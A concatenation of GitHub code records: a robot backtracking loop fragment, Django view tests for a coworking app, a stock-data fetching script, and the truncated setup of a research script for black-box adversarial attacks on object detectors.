\"->main.pyに移動\"\n \n size = self.env.row_length\n # dem = [[0.0 for i in range(size)] for i in range(size)] #2Dgridmap(xw, yw)\n # soil = [[0.0 for i in range(size)] for i in range(size)] #2Dgridmap(xw, yw)\n # map = [[0.0 for i in range(size)] for i in range(size)] #known or unknown\n # for ix in range(size):\n # for iy in range(size):\n # map[ix][iy] = 1\n # # soil[ix][iy] = 1 #sandy terrain\n # if dem[ix][iy] <= 0.2:\n # soil[ix][iy] = 1 #sandy terrain\n # else:\n # soil[ix][iy] = 0 #hard ground\n\n\n # # map[ix][iy] = 0 # 全マス観測している場合\n\n \n \n x, y = np.mgrid[-0.5:size+0.5:1,-0.5:size+0.5:1]\n states_known = set() #empty set\n for s in self.env.states:\n if self.map[s.row][s.column] == 0:\n states_known.add(s)\n \"----- Add -----\"\n\n\n while not self.done:\n\n import math\n self.goal = (4, 14) # Virtual Goal # here\n self.start = (self.state.row, self.state.column) # here\n dist = math.sqrt((self.goal[0]-self.start[0])**2+(self.goal[1]-self.start[1])**2)\n self.D_NUM = dist\n\n \"----- Add -----\"\n self.map = self.test.obserb(self.state, size, self.map)\n # print(\"map\")\n # pprint.pprint(map)\n \n try:\n states_known = set() #empty set\n for s in self.env.states:\n if self.map[s.row][s.column] == 0:\n states_known.add(s)\n except AttributeError:\n # except:\n pi = None\n print(\"Error!\")\n break\n\n # test.show(state, map)\n \"----- Add -----\"\n\n \n print(\"===== Attribute① =====\")\n print(self.Attribute)\n\n # \"----- Add 0203 -----\"\n # try:\n # print(self.Attribute)\n # import matplotlib.pyplot as plt\n # # print(self.Attribute[\"stress\"])\n # self.Attribute[:5].plot.bar()\n # # self.Attribute.plot.bar()\n # plt.show()\n # except:\n # print(\"weight cross エラー\")\n # \"----- Add 0203 -----\"\n\n \n\n \"============================================== Visualization ver. との違い ==============================================\"\n \"戻る行動の可視化ver.の場合はここにReverseが入る\"\n \"============================================== Visualization ver. との違い ==============================================\"\n\n if self.BACK or self.bf:\n try:\n \n if self.bf: # ストレスが溜まってから初回\n self.w = self.OBS\n print(f\"🥌 WEIGHT = {self.w}\")\n print(\"SAVE ARC : {}\".format(self.SAVE_ARC))\n\n if self.Add_Advance:\n\n # ユークリッド距離\n # self.Arc = [math.sqrt((self.BPLIST[-1].row - self.BPLIST[x].row) ** 2 + (self.BPLIST[-1].column - self.BPLIST[x].column) ** 2) for x in range(len(self.BPLIST))]\n\n self.move_cost_cal()\n\n print(f\"🥌 WEIGHT = {self.w}\")\n print(\"👟 Arc[移動コスト]:{}\".format(self.move_cost_result_copy))\n print(\"📂 Storage {}\".format(self.test_bp_st))\n\n\n\n\n\n\n \"----- 0130 -----\"\n # # Landmark = \"A\"\n # # print(self.Attribute)\n # # self.Attribute.loc[f\"{Landmark}\", \"move cost\"] = 100\n # # print(\"===== Attribute =====\")\n # # print(self.Attribute)\n # # print(\"===== Attribute =====\")\n # # print(self.demo)\n # # print(\"===== Attribute =====\")\n # # print(self.move_cost_result_copy)\n # # print(self.move_cost_result_copy[\"A\"])\n print(\"===== Attribute =====\")\n self.Attribute[\"move cost\"] = self.move_cost_result_copy\n print(\"===== Attribute Change =====\")\n print(self.Attribute)\n \"----- 0130 -----\"\n \"============================================== Visualization ver. との違い ==============================================\" \n else:\n print(f\"🥌 WEIGHT = {self.w}\")\n print(\"👟 Arc[移動コスト]:{}\".format(self.move_cost_result_copy))\n print(\"📂 Storage {}\".format(self.test_bp_st))\n self.bf = False\n self.BACK = False\n \n \"----- 0130 -----\"\n # print(\"===== Attribute =====\")\n # self.Attribute[\"move cost\"] = self.move_cost_result_copy\n # print(\"===== Attribute Change =====\")\n # print(self.Attribute)\n \"----- 0130 -----\"\n\n\n \"----- Add Move Cost -----\"\n\n print(\"next position decision\")\n\n self.next_position_decision()\n\n\n\n\n \"----- Add 0203 -----\"\n try:\n print(self.Attribute)\n # import matplotlib.pyplot as plt\n # self.Attribute[:5].plot.bar()\n # # self.Attribute.plot.bar()\n # plt.show()\n self.test.bp_viz(self.Attribute)\n except:\n print(\"weight cross エラー\")\n \"----- Add 0203 -----\"\n\n \n # print(f\"========Decision Next State=======\\n⚠️ NEXT POSITION:{self.next_position}\\n==================================\")\n NP = self.next_attribute[\"STATE\"][0]\n print(f\"========Decision Next State=======\\n⚠️ NEXT POSITION:\\n{NP}\\n==================================\")\n NP = self.next_attribute[\"STATE\"][self.next_attribute.index][0]\n print(f\"========Decision Next State=======\\n⚠️ NEXT POSITION:\\n{NP}\\n==================================\")\n NP = self.next_attribute[\"STATE\"][self.next_attribute.index] # [0]]\n print(f\"========Decision Next State=======\\n⚠️ NEXT POSITION:\\n{NP}\\n==================================\")\n NP = self.next_attribute[\"STATE\"]\n print(f\"========Decision Next State=======\\n⚠️ NEXT POSITION:\\n{NP}\\n==================================\")\n # NP = self.next_attribute[\"Attribute\"]\n # print(f\"========Decision Next State=======\\n⚠️ NEXT POSITION:\\n{NP}\\n==================================\")\n self.on_the_way = True \n except:\n # except Exception as e:\n # print('=== エラー内容 ===')\n # print('type:' + str(type(e)))\n # print('args:' + str(e.args))\n # print('message:' + e.message)\n # print('e自身:' + str(e))\n print(\"ERROR!\")\n print(\"リトライ行動終了!\")\n print(\" = 戻り切った状態 🤖🔚\")\n self.BackPosition_finish = True\n break\n try:\n\n # if self.state == self.next_position:\n # if self.state == self.next_attribute[\"STATE\"][self.next_attribute.index[0]]:\n if self.state == self.next_attribute[\"STATE\"][0]:\n print(\"===== back end =====\")\n print(self.state, type(self.state))\n # print(self.next_attribute[\"STATE\"][self.next_attribute.index])\n print(self.next_attribute[\"STATE\"])\n # print(self.next_attribute[\"STATE\"][self.next_attribute.index[0]], type(self.next_attribute[\"STATE\"][self.next_attribute.index[0]]))\n print(self.next_attribute[\"STATE\"][0], type(self.next_attribute[\"STATE\"][0]))\n print(\"===== back end =====\")\n\n self.Backed_just_before = True\n\n self.Finished_returning(Node)\n\n print(\"===== bp.py Attribute =====\")\n print(self.Attribute)\n print(\"===== bp.py Attribute =====\")\n\n \"----- Add -----\"\n # test.show(self.state, self.map)\n self.test.show(self.state, self.map, self.backed, {}, self.TRIGAR, self.VIZL, self.VIZD)\n\n \"----- Add 0203 -----\"\n # self.total_stress = 0\n \"----- Add 0203 -----\"\n\n \n\n print(\"\\n============================\\n🤖 🔛 アルゴリズム切り替え\\n============================\")\n break\n\n else:\n if self.on_the_way:\n self.on_the_way = False\n else:\n print(\"🔛 On the way BACK\")\n except:\n # except Exception as e:\n # print('=== エラー内容 ===')\n # print('type:' + str(type(e)))\n # print('args:' + str(e.args))\n # print('message:' + e.message)\n # print('e自身:' + str(e))\n print(\"state:{}\".format(self.state))\n print(\"これ以上戻れません。 終了します。\")\n break # expansion 無しの場合は何回も繰り返さない\n \n print(f\"🤖 State:{self.state}\")\n if not self.state_history_first:\n self.STATE_HISTORY.append(self.state)\n self.TOTAL_STRESS_LIST.append(self.total_stress)\n\n \"基準距離, 割合の可視化\"\n self.test_s = 0\n self.standard_list.append(self.test_s)\n # self.rate_list.append(self.n/(self.M+self.n)) # ○\n self.rate_list.append(self.M/(self.M+self.n)) # ×\n\n\n self.VIZL.append(self.L_NUM)\n self.VIZD.append(self.D_NUM)\n\n \"----- Add -----\"\n # test.show(self.state, self.map)\n self.test.show(self.state, self.map, self.backed, {}, self.TRIGAR, self.VIZL, self.VIZD)\n\n print(f\"Total Stress:{self.total_stress}\")\n print(\"TRIGAR : {}\".format(self.TRIGAR))\n self.state_history_first = False\n # self.state = self.next_position\n # self.state = self.next_attribute[\"STATE\"][self.next_attribute.index[0]]\n self.state = self.next_attribute[\"STATE\"][0]\n \n \"----- Add -----\"\n # test.show(self.state, self.map)\n \n print(\"COUNT : {}\".format(self.COUNT))\n if self.COUNT > 100:\n print(\"\\n######## BREAK ########\\n\")\n # breakではなくて、戻る場所に戻れないから別の戻る場所にするとか\n print(\"\\n📂 Storage {}\\n\\n\\n\".format(self.BPLIST))\n break\n self.COUNT += 1\n self.COUNT = 0\n\n return self.total_stress, self.STATE_HISTORY, self.state, self.OBS, self.BackPosition_finish, self.TOTAL_STRESS_LIST, self.move_cost_result_pre, self.test_bp_st_pre, self.Backed_just_before, self.standard_list, self.rate_list, self.map, self.VIZL, self.VIZD, self.L_NUM, self.D_NUM, self.backed","repo_name":"ken-hori-2/MP_src","sub_path":"bp.py","file_name":"bp.py","file_ext":"py","file_size_in_byte":25672,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"9"} +{"seq_id":"40121836627","text":"from django.contrib.auth.models import Group, User\nfrom django.test import TestCase, Client\nfrom django.urls import reverse\nfrom domains.models import Domain\nfrom threading import local\nfrom django.test.client import RequestFactory\nimport json, sys\nfrom functools import wraps\nfrom django.conf import settings\nfrom importlib import reload\nfrom django.urls import clear_url_caches\nfrom tests.conf_tests import selecionar_app, reload_urlconf\nfrom gere_coworking.models.models import ClienteModel, FuncionariosModel\nfrom gere_coworking.views.businessLayer.cadastro import configuraGrupoUsuario\nimport datetime\n\n\ntests_local = local()\nclass TestViews_gere_coworking(TestCase):\n # multi_db = True\n def setUp(self) -> None:\n self.client = Client()\n Group.objects.create(name='administrador')\n Group.objects.create(name='clienteEmpresa')\n Group.objects.create(name='clientePessoa')\n Group.objects.create(name='funcionario')\n # self.clientePessoa = User.objects.create_user(\n # username='112.207.848-00',\n # email='nicolashalvesalmeida@armyspy.com', \n # first_name='Nicolas',\n # last_name='Almeida', \n # is_superuser=False, \n # is_staff=False)\n # self.clientePessoa.set_password('newgen123')\n # self.clientePessoa.save()\n # configuraGrupoUsuario(self.clientePessoa, tipo='pessoa')\n # tests_local.current_app = 'gere_coworking'\n # reload_urlconf()\n # response = Client().post(reverse('registrarUsuario'), {\n # 'form-selecionado': 'pessoaFisica',\n # 'nome': 'Tiago Ribeiro',\n # 'senha': 'newgen123',\n # 'cpf_cnpj': '309.940.155-26',\n # 'data_nascimento': '12/09/1986',\n # 'genero': 'M',\n # 'email': 'tiagocavalcantiribeiro@gmail.com',\n # 'telefone': '11977866159',\n # 'cep': '04611-060',\n # 'logradouro': 'Rua Alberto Gebara',\n # 'numero': '1604',\n # 'bairro': 'Parque Colonial',\n # 'cidade': 'São Paulo',\n # 'estado': 'SP'\n # })\n # self.user1_cliente = ClienteModel.objects.get(cpf_cnpj='30994015526')\n\n @selecionar_app(app='gere_coworking')\n def test_index_GET(self):\n response = self.client.get(reverse('index'))\n self.assertEquals(response.status_code, 200)\n self.assertTemplateUsed(response, 'gere/template1/cliente/apresentacao/index.html')\n \n # LOGAR!\n @selecionar_app(app='gere_coworking')\n def test_home_GET(self):\n # response = self.client.get(reverse('home'))\n # self.assertEquals(response.status_code, 200)\n # self.assertTemplateUsed(response, 'gere/template1/cliente/apresentacao/home.html')\n pass\n \n @selecionar_app(app='gere_coworking')\n def test_login_user_GET(self):\n response = self.client.get(reverse('loginUser'))\n self.assertEquals(response.status_code, 200)\n self.assertTemplateUsed(response, 'old/loginUser.html')\n \n @selecionar_app(app='gere_coworking')\n def test_login_system_GET(self):\n response = self.client.get(reverse('loginSystem'))\n self.assertEquals(response.status_code, 200)\n self.assertTemplateUsed(response, 'gere/template1/cliente/cadastro_e_login/loginSystem.html')\n \n @selecionar_app(app='gere_coworking')\n def test_login_novo_GET(self):\n response = self.client.get(reverse('loginNovo'))\n self.assertEquals(response.status_code, 200)\n self.assertTemplateUsed(response, 'gere/template1/cliente/cadastro_e_login/loginNovo.html')\n \n @selecionar_app(app='gere_coworking')\n def test_escolher_cadastro_GET(self):\n response = self.client.get(reverse('escolherCadastro'))\n self.assertEquals(response.status_code, 200)\n self.assertTemplateUsed(response, 'gere/template1/cliente/cadastro_e_login/escolherCadastro.html')\n \n @selecionar_app(app='gere_coworking')\n def test_registrar_usuario_GET(self):\n response = self.client.get(reverse('registrarUsuario'))\n self.assertEquals(response.status_code, 200)\n self.assertTemplateUsed(response, 'gere/template1/cliente/cadastro_e_login/regUsers.html')\n \n @selecionar_app(app='gere_coworking')\n def test_registrar_funcionario_GET(self):\n response = self.client.get(reverse('registrarFuncionario'))\n self.assertEquals(response.status_code, 200)\n self.assertTemplateUsed(response, 'gere/template1/funcionario/regEmployee.html')\n \n @selecionar_app(app='gere_coworking')\n def test_index_GET(self):\n response = self.client.get(reverse('index'))\n self.assertEquals(response.status_code, 200)\n self.assertTemplateUsed(response, 'gere/template1/cliente/apresentacao/index.html')\n \n @selecionar_app(app='gere_coworking')\n def test_registrar_administrador_GET(self):\n response = self.client.get(reverse('registrarAdmin'))\n self.assertEquals(response.status_code, 200)\n self.assertTemplateUsed(response, 'cria/regAdministrator.html')\n \n # LOGAR!\n @selecionar_app(app='gere_coworking')\n def test_agendamento_GET(self):\n response = self.client.get(reverse('index'))\n self.assertEquals(response.status_code, 200)\n self.assertTemplateUsed(response, 'gere/template1/cliente/apresentacao/index.html')\n \n # DEPRECATED!\n @selecionar_app(app='gere_coworking')\n def test_assinatura_GET(self):\n # response = self.client.get(reverse('index'))\n # self.assertEquals(response.status_code, 200)\n # self.assertTemplateUsed(response, 'gere/template1/cliente/apresentacao/assinatura.html')\n pass\n \n @selecionar_app(app='gere_coworking')\n def test_reserva_GET(self):\n response = self.client.get(reverse('reserva'))\n self.assertEquals(response.status_code, 200)\n self.assertTemplateUsed(response, 'gere/template1/cliente/agendamento/reserva1EscolherEspaco.html')\n \n # LOGAR!\n @selecionar_app(app='gere_coworking')\n def test_listar_reservas_GET(self):\n # response = self.client.get(reverse('listarReservas'))\n # self.assertEquals(response.status_code, 200)\n # self.assertTemplateUsed(response, 'gere/template1/cliente/agendamento/listarReservas.html')\n pass\n \n # LOGAR!\n @selecionar_app(app='gere_coworking')\n def test_listar_reservas_index_GET(self):\n # response = self.client.get(reverse('listarReservasIndex'))\n # self.assertEquals(response.status_code, 200)\n # self.assertTemplateUsed(response, 'gere/template1/cliente/agendamento/listarReservasIndex.html')\n pass\n \n # LOGAR!\n @selecionar_app(app='gere_coworking')\n def test_menu_admin_GET(self):\n # response = self.client.get(reverse('menuAdmin'))\n # self.assertEquals(response.status_code, 200)\n # self.assertTemplateUsed(response, 'gere/template1/cliente/apresentacao/index.html')\n pass\n \n @selecionar_app(app='gere_coworking')\n def test_customizacao_GET(self):\n response = self.client.get(reverse('customizacao'))\n self.assertEquals(response.status_code, 200)\n self.assertTemplateUsed(response, 'gere/template1/adm/customizacao.html')\n \n @selecionar_app(app='gere_coworking')\n def test_em_producao_GET(self):\n response = self.client.get(reverse('emProducao'))\n self.assertEquals(response.status_code, 200)\n self.assertTemplateUsed(response, 'erros/emProducao.html')\n \n @selecionar_app(app='gere_coworking')\n def test_base_GET(self):\n response = self.client.get(reverse('baseHtml'))\n self.assertEquals(response.status_code, 200)\n self.assertTemplateUsed(response, 'gere/template1/base.html')\n \n @selecionar_app(app='gere_coworking')\n def test_teste_GET(self):\n response = self.client.get(reverse('teste'))\n self.assertEquals(response.status_code, 200)\n self.assertTemplateUsed(response, 'gere/template1/cliente/apresentacao/teste.html')\n \n @selecionar_app(app='gere_coworking')\n def test_password_reset_GET(self):\n # response = self.client.get(reverse('password_reset'))\n # self.assertEquals(response.status_code, 200)\n # self.assertTemplateUsed(response, 'gere/template1/cliente/cadastro_e_login/password_reset.html')\n pass\n \n def test_registrar_usuario_POST_adicionar_novo_cliente_pessoa(self):\n response = self.client.post(reverse('registrarUsuario'), {\n 'form-selecionado': 'pessoaFisica',\n 'nome': 'Douglas Rodrigues',\n 'senha': 'newgen123',\n 'cpf_cnpj': '783.729.355-05',\n 'data_nascimento': '19/01/1986',\n 'genero': 'M',\n 'email': 'douglassouzarodrigues@rhyta.com',\n 'telefone': '11977866159',\n 'cep': '91920-270',\n 'logradouro': 'Rua da Fraternidade',\n 'numero': '1604',\n 'bairro': 'Cavalhada',\n 'cidade': 'Porto Alegre',\n 'estado': 'RS'\n })\n self.assertEquals(response.status_code, 302)\n self.assertEquals(ClienteModel.objects.get(cpf_cnpj='78372935505').nome, 'Douglas Rodrigues')\n \n def test_registrar_usuario_POST_adicionar_novo_cliente_empresa(self):\n response = self.client.post(reverse('registrarUsuario'), {\n 'form-selecionado': 'pessoaJuridica',\n 'nome': 'Telework',\n 'senha': 'newgen123',\n 'cpf_cnpj': '28.704.761/0001-43',\n 'email': 'telework@jourrapide.com',\n 'telefone': '11977866159',\n 'cep': '03335-085',\n 'logradouro': 'Praça Fernando Zago',\n 'numero': '1874',\n 'bairro': 'Vila Regente Feijó',\n 'cidade': 'São Paulo',\n 'estado': 'SP'\n })\n self.assertEquals(response.status_code, 302)\n self.assertEquals(ClienteModel.objects.get(cpf_cnpj='28704761000143').nome, 'Telework')\n\n def test_registrar_funcionario_POST_adicionar_novo_funcionario(self):\n response = self.client.post(reverse('registrarFuncionario'), {\n 'nome': 'Marina Rocha',\n 'senha': 'newgen123',\n 'cpf_cnpj': '368.910.764-47',\n 'data_nascimento': '31/03/1999',\n 'genero': 'F',\n 'email': 'marinasouzarocha@jourrapide.com',\n 'telefone': '11977866159',\n 'cep': '91920-270',\n 'logradouro': 'Praça Fernando Zago',\n 'numero': '1874',\n 'bairro': 'Vila Regente Feijó',\n 'cidade': 'São Paulo',\n 'estado': 'SP'\n })\n self.assertEquals(response.status_code, 302)\n self.assertEquals(FuncionariosModel.objects.get(cpf_cnpj='36891076447').nome, 'Marina Rocha')\n\n # def test_login_system_POST_logar_usuario(self):\n # user = User.objects.create_user(\n # username='112.207.848-00',\n # password='a', \n # email='nicolashalvesalmeida@armyspy.com', \n # first_name='Nicolas',\n # last_name='Almeida', \n # is_superuser=False, \n # is_staff=False)\n # configuraGrupoUsuario(user, tipo='pessoa')\n # user.set_password('newgen123')\n # user.save()\n # response = self.client.post(reverse('loginSystem'), {\n # 'username': '11220784800',\n # 'password': 'newgen123'\n # })\n \n # self.assertEquals(response.status_code, 302)\n \n\nclass TestViews_cria_coworking(TestCase):\n # multi_db = True\n def setUp(self) -> None:\n self.client = Client()\n\n @selecionar_app(app='cria_coworking')\n def test_index_GET(self):\n response = self.client.get(reverse('index'))\n self.assertEquals(response.status_code, 200)\n self.assertTemplateUsed(response, 'cria/index.html')\n \n @selecionar_app(app='cria_coworking')\n def test_registrar_administrador_GET(self):\n response = self.client.get(reverse('registrarAdmin'))\n self.assertEquals(response.status_code, 200)\n self.assertTemplateUsed(response, 'cria/regAdministrator.html')\n\n# class TestViews_cria_coworking(TestCase):\n# # multi_db = True\n# def __init__(self, methodName: str = ...) -> None:\n# super().__init__(methodName=methodName)\n# self.urlconf = 'cria_coworking.urls'\n \n# def test_index_GET(self):\n# tests_local.current_app = 'cria_coworking'\n# client = Client(capp='cria_coworking')\n# response = client.get(reverse('index', urlconf='cria_coworking.urls'))\n# self.assertEquals(response.status_code, 200)\n# self.assertTemplateUsed(response, 'cria/index.html')\n\n# class SimpleTest(TestCase):\n# def setUp(self):\n# # Every test needs access to the request factory.\n# self.factory = RequestFactory()\n\n# def test_details(self):\n# # Create an instance of a GET request.\n# request = self.factory.get('/customer/details')\n\n# # Test my_view() as if it were deployed at /customer/details\n# response = my_view(request)\n# self.assertEqual(response.status_code, 200)","repo_name":"NewGen2021/Desenvolvimento","sub_path":"Desenvolvimento/aplicacao/tests/test_views.py","file_name":"test_views.py","file_ext":"py","file_size_in_byte":13251,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"9"} +{"seq_id":"73841601894","text":"import logging\nfrom datetime import datetime, timedelta\n\nimport db\nimport sdk\nimport pandas as pd\nimport config\nimport repo\n\n_table = 'history_k_data_d'\n\n\ndef prepare_start_date():\n now = datetime.now()\n start_date = repo.last_date() + timedelta(days=1)\n if start_date > now.date():\n logging.info(f'{__name__}: 起止日期 {start_date} 不能大于今天 {now.date()} ')\n return False, \"\"\n if start_date == now.date() and now.hour < 17:\n logging.info(f'{__name__}: 当天的数据尚未更新')\n return False, \"\"\n start_date_str = start_date.strftime('%Y-%m-%d')\n logging.info(f'start date: {start_date_str}')\n return True, start_date_str\n\n\ndef fetch(start_date_str: str) -> pd.DataFrame:\n bcs = sdk.query_stock_basic()\n bcs = bcs[(bcs.outDate == '') & (bcs.type == '1') & (bcs.status == '1')]\n logging.info(f'{__name__}: total stocks: {bcs.shape[0]}')\n\n codes = bcs[\"code\"]\n kds = []\n for code in codes:\n kd = sdk.query_history_k_data_plus(code,\n ('date,code,open,high,low,close,preclose,volume,amount,'\n 'turn,tradestatus,pctChg,peTTM,pbMRQ,psTTM,pcfNcfTTM,isST'),\n start_date=start_date_str,\n end_date=None,\n frequency='d',\n adjustflag='2')\n logging.info(f'{__name__}: code: {code}, rows: {kd.shape[0]}')\n kds.append(kd)\n logging.info(f'{__name__}: done fetch from {codes.iloc[0]} to {codes.iloc[-1]}')\n result = pd.concat(kds)\n result.to_csv(r\"D:\\history_A_stock_k_data.csv\", index=False)\n return result\n\n\ndef save(result: pd.DataFrame):\n result = db.replace_empty_str_to_none(result)\n cnt = result.to_sql(_table, db.db_engine, if_exists='append', index=False, chunksize=10000, method='multi')\n return cnt\n\n\ndef fetch_and_save_k_day():\n try:\n valid, date_str = prepare_start_date()\n if not valid:\n logging.info(f'{__name__}: skip')\n return\n result = fetch(date_str)\n logging.info(f'{__name__}: start to save to table `{_table}`, total rows: {result.shape[0]}')\n rowcnt = save(result)\n logging.info(f'{__name__}: saved {rowcnt} rows to table `{_table}`')\n except Exception as ex:\n logging.error(f\"{__name__}: {ex}\")\n\n\nif __name__ == '__main__':\n try:\n config.set_logger()\n fetch_and_save_k_day()\n except ValueError as e:\n logging.error(str(e))\n except Exception as e:\n raise e\n finally:\n db.db_engine.dispose()\n","repo_name":"joexzh/StockData","sub_path":"retrieve/retrieve_history_k_data_d.py","file_name":"retrieve_history_k_data_d.py","file_ext":"py","file_size_in_byte":2701,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"9"} +{"seq_id":"23581465100","text":"#!/usr/bin/env python\n# -*- encoding: utf-8 -*-\n'''\n@File : iou_square_attack_demo.py\n@Time : 2021/01/12 18:57:09\n@Author : Siyuan Liang\n'''\n\n# here put the import lib\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport json\nimport math\nimport time\nimport sys\n\nimport numpy as np\nimport pandas as pd\nimport torch\nimport argparse\nimport os\nimport numpy as np\nimport warnings\nimport cv2\nimport utils\nimport time\nimport util as demo_utils\nfrom datetime import datetime\n# import blackbox_attack.square_attack.utils as sq_utils\nfrom blackbox_attack.utils.criterion import loss_fct, early_stop_crit_fct, early_stop_crit_fct_with_iou, loss_fct_with_iou\n\nos.environ['CUDA_VISIBLE_DEVICES']='0'\nimport mmcv\nimport os.path as osp\nimport sys\n# sys.path.insert(0, '/apdcephfs/private_xiaojunjia/liangsiyuan/code/od-black/ss_attack/mmdetection_p_init')\nimport torch\nfrom mmcv import Config, DictAction\nfrom mmcv.cnn import fuse_conv_bn\nfrom mmcv.parallel import MMDataParallel\nfrom mmcv.runner import (get_dist_info, init_dist, load_checkpoint,\n wrap_fp16_model)\n\nfrom mmdet.apis import multi_gpu_test, single_gpu_test\nfrom mmdet.core import encode_mask_results, tensor2imgs\nfrom mmdet.datasets import (build_dataloader, build_dataset,\n replace_ImageToTensor)\nfrom mmdet.models import build_detector\nfrom blackbox_attack.iou_ss_attack import IoUSSAttack \nfrom util import Logger\n\n\nserver_program_path = '/home/liangsiyuan/code/od-black/mmdetection/'\nserver_checkpoint_path = '/srv/hdd/weight/od-black/checkpoints/' \n\ndef parse_args():\n # detector argument\n parser = argparse.ArgumentParser(\n description='MMDet test (and eval) a model')\n parser.add_argument('config', help='test config file path')\n parser.add_argument('checkpoint', help='checkpoint file')\n parser.add_argument('--out_log', type=str, help='save cmd output as log file') \n parser.add_argument('--out', help='output result file in pickle format')\n parser.add_argument(\n '--fuse-conv-bn',\n action='store_true',\n help='Whether to fuse conv and bn, this will slightly increase'\n 'the inference speed')\n parser.add_argument(\n '--format-only',\n action='store_true',\n help='Format the output results without perform evaluation. It is'\n 'useful when you want to format the result to a specific format and '\n 'submit it to the test server')\n parser.add_argument(\n '--eval',\n type=str,\n nargs='+',\n help='evaluation metrics, which depends on the dataset, e.g., \"bbox\",'\n ' \"segm\", \"proposal\" for COCO, and \"mAP\", \"recall\" for PASCAL VOC')\n parser.add_argument('--show', action='store_true', help='show results')\n parser.add_argument(\n '--out_dir', default='/srv/hdd/results/od-black/mmdetection/sq_attack/det', help='directory where painted images will be saved')\n parser.add_argument(\n '--vis_step_out_dir', default='/srv/hdd/results/od-black/mmdetection/sq_attack/det', help='directory where painted images will be saved') \n parser.add_argument(\n '--show-score-thr',\n type=float,\n default=0.3,\n help='score threshold (default: 0.3)')\n parser.add_argument(\n '--gpu-collect',\n action='store_true',\n help='whether to use gpu to collect results.')\n parser.add_argument(\n '--tmpdir',\n help='tmp directory used for collecting results from multiple '\n 'workers, available when gpu-collect is not specified')\n parser.add_argument(\n '--cfg-options',\n nargs='+',\n action=DictAction,\n help='override some settings in the used config, the key-value pair '\n 'in xxx=yyy format will be merged into config file.')\n parser.add_argument(\n '--options',\n nargs='+',\n action=DictAction,\n help='custom options for evaluation, the key-value pair in xxx=yyy '\n 'format will be kwargs for dataset.evaluate() function (deprecate), '\n 'change to --eval-options instead.')\n parser.add_argument(\n '--eval-options',\n nargs='+',\n action=DictAction,\n help='custom options for evaluation, the key-value pair in xxx=yyy '\n 'format will be kwargs for dataset.evaluate() function')\n parser.add_argument(\n '--launcher',\n choices=['none', 'pytorch', 'slurm', 'mpi'],\n default='none',\n help='job launcher')\n parser.add_argument('--local_rank', type=int, default=0)\n\n # attack argument\n parser.add_argument('--attack', type=str, default='IoUsquare_linf', help='Attack.')\n parser.add_argument('--exp_folder', type=str, default='/srv/hdd/results/od-black/mmdetection/sign_attack/adv', help='Experiment folder to store all output.')\n parser.add_argument('--n_iter', type=str, default='10000')\n parser.add_argument('--p', type=str, default='inf', choices=['inf', 'l2'])\n parser.add_argument('--targeted', default=False)\n parser.add_argument('--model', default='Faster-RCNN')\n parser.add_argument('--eps', type=float, default=0.05, help='Radius of the Lp ball.0.05*4.52=0.22')\n parser.add_argument('--loss', type=str, default='cw_loss')\n parser.add_argument('--p_init', type=float, default=0.05)\n parser.add_argument('--attack_logistics', default=None)\n parser.add_argument('--vis_attack_step', default=None)\n parser.add_argument('--zeta', type=float, default='0.5')\n parser.add_argument('--lambda1', type=float, default='1.0')\n parser.add_argument('--patch_attack', type=str, default=None)\n parser.add_argument('--attack_parallel', type=str, default='1')\n parser.add_argument('--square_expansion', type=str, default=None)\n parser.add_argument('--square_init', type=str, default=None)\n args = parser.parse_args()\n # args.loss = 'margin_loss' if not args.targeted else 'cross_entropy'\n \n if 'LOCAL_RANK' not in os.environ:\n os.environ['LOCAL_RANK'] = str(args.local_rank)\n\n if args.options and args.eval_options:\n raise ValueError(\n '--options and --eval-options cannot be both '\n 'specified, --options is deprecated in favor of --eval-options')\n if args.options:\n warnings.warn('--options is deprecated in favor of --eval-options')\n args.eval_options = args.options\n return args\n\ndef main():\n args = parse_args()\n if args.attack_logistics is not None:\n attack_logistics = bool(args.attack_logistics)\n else:\n attack_logistics = None\n\n if args.vis_attack_step is not None:\n vis_attack_step = bool(args.vis_attack_step)\n else:\n vis_attack_step = None\n \n args.zeta = float(args.zeta)\n args.lambda1 = float(args.lambda1)\n\n assert args.out or args.eval or args.format_only or args.show \\\n or args.show_dir, \\\n ('Please specify at least one operation (save/eval/format/show the '\n 'results / save the results) with the argument \"--out\", \"--eval\"'\n ', \"--format-only\", \"--show\" or \"--show-dir\"')\n if args.eval and args.format_only:\n raise ValueError('--eval and --format_only cannot be both specified')\n\n if args.out is not None and not args.out.endswith(('.pkl', '.pickle')):\n raise ValueError('The output file must be a pkl file.')\n\n cfg = Config.fromfile(args.config)\n\n if args.out_log is not None:\n out_log_dic = args.out_log.rsplit(\"/\",1)[0]\n if not os.path.exists(out_log_dic):\n os.makedirs(out_log_dic)\n if os.path.exists(args.out_log):\n os.remove(args.out_log)\n log = Logger(args.out_log, level='info')\n \n log.logger.info(args)\n\n if args.cfg_options is not None:\n cfg.merge_from_dict(args.cfg_options)\n # import modules from string list.\n if cfg.get('custom_imports', None):\n from mmcv.utils import import_modules_from_strings\n import_modules_from_strings(**cfg['custom_imports'])\n # set cudnn_benchmark\n if cfg.get('cudnn_benchmark', False):\n torch.backends.cudnn.benchmark = True\n cfg.model.pretrained = None\n if cfg.model.get('neck'):\n if isinstance(cfg.model.neck, list):\n for neck_cfg in cfg.model.neck:\n if neck_cfg.get('rfp_backbone'):\n if neck_cfg.rfp_backbone.get('pretrained'):\n neck_cfg.rfp_backbone.pretrained = None\n elif cfg.model.neck.get('rfp_backbone'):\n if cfg.model.neck.rfp_backbone.get('pretrained'):\n cfg.model.neck.rfp_backbone.pretrained = None\n\n # in case the test dataset is concatenated\n if isinstance(cfg.data.test, dict):\n cfg.data.test.test_mode = True\n elif isinstance(cfg.data.test, list):\n for ds_cfg in cfg.data.test:\n ds_cfg.test_mode = True\n\n # init distributed env first, since logger depends on the dist info.\n if args.launcher == 'none':\n distributed = False\n else:\n distributed = True\n init_dist(args.launcher, **cfg.dist_params)\n\n # build the dataloader\n samples_per_gpu = cfg.data.test.pop('samples_per_gpu', 1)\n if samples_per_gpu > 1:\n # Replace 'ImageToTensor' to 'DefaultFormatBundle'\n cfg.data.test.pipeline = replace_ImageToTensor(cfg.data.test.pipeline)\n dataset = build_dataset(cfg.data.test)\n data_loader = build_dataloader(\n dataset,\n samples_per_gpu=samples_per_gpu,\n workers_per_gpu=cfg.data.workers_per_gpu,\n # workers_per_gpu=0,\n dist=distributed,\n 